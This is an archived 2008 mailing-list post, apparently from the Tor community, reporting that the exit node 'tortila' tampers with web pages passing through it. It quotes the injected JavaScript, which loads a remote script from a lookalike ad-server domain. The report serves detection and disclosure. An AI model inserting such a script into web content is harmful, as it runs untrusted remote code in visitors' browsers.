tortila as a bad exit

Robert Hogan robert at roberthogan.net
Tue Aug 12 10:45:54 UTC 2008


On Tuesday 12 August 2008 11:29:56 Robert Hogan wrote:
> On Tuesday 12 August 2008 10:09:13 Drake Wilson wrote:
> > Quoth Scott Bennett <bennett at cs.niu.edu>, on 2008-08-11 23:30:20 -0500:
> > >      I'm not convinced.  It hasn't taken any 300 circuits for me.  It
> > > seems to happen every time I have a circuit that exits via tortila.  It
> > > happens with every destination web page.
> >
> > I can confirm this.  I can't seem to find much pattern to it, though.
>
> I did a simple wget test (no privoxy) and found fairly consistent
> insertions of adsense spam to stevepavlima.com regardless of the site I
> targeted (google.*, guardian.co.uk, irishtimes.com, cnn.com).
>
> <script type="text/javascript">var
> externalscript="http://pagead2.googlesyndication.stevepavlima.com/show_ads.
>js"; document.write('<script type="text/javascript"
> src="'+externalscript+'?'+new Date() * 1+'"><\/script>');</script>
>
> I found that using a regular browser the corruption appears infrequent
> (caching, browsers doing their best to make sense of gargabe), but the
> corruption is consistent using wget. Where there was no insertion of
> stevepavlima.com (which was rare) I just saw simple truncation.
>
> Can anyone else confirm this?

Ah, I see KT also found this in an earlier thread. 

http://archives.seul.org/or/talk/Aug-2008/msg00054.html

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